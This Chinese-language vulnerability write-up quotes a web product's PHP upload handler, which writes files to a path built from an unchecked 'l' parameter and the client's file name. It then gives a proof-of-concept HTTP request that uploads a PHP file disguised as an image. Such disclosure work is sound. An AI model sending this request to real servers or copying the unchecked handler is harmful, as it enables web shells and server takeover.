安装好的目录结构，看到有个Upload进去看下
upload_file.php

<?php
function writeLog($msg){
$logFile = date('Y-m-d').'.txt';
$msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
  //  echo "Return Code: " . $_FILES["file"]["error"] . "
";
}
else
{
echo "_Requst:<br>";
/*  foreach($_REQUEST as $name => $value)
{
 $name."=".$value."<br>";
}
//echo "_FILES:<br>";
foreach($_FILES as $array_name=>$array_value)
{   
$array_name."=".$array_value."<br>";
foreach($_FILES[$array_name] as $name => $value)
{
$name."=".$value."<br>";
}
} */
$l = $_GET['l'];
//拆分字符串按“/”分割字符
$arrpath = explode("/",$l);
$m = count($arrpath);
$file_e = "";
if ($m>1){
for($i=0;$i<$m;$i++){
$file_e .= $arrpath[$i];
if(!file_exists($file_e)){
mkdir($file_e, 0777);
}
$file_e .= "/";
}
}else{
//判断文件夹是否存在 ，不存在就新建个
if(!file_exists($l)){
mkdir("$l", 0777);
}
}
$target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
if (file_exists($target_path))
{
unlink($target_path);
}
$a = 'old_file='.$_FILES["file"]["tmp_name"];
writeLog($a);
writeLog('new_file='.$target_path);
$target_path = str_replace ( '//', '/', $target_path );
writeLog('new_file2='.$target_path);
   $varerror =  move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);
writeLog('$varerror='.$varerror);
}
?>

直接就是任意文件上传，获取参数l然后上传的文件名路径为
/Upload/".$l."/".$_FILES["file"]["name"]

POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: 127.0.0.1:2001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://127.0.0.1:2001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 164
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/avif
<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--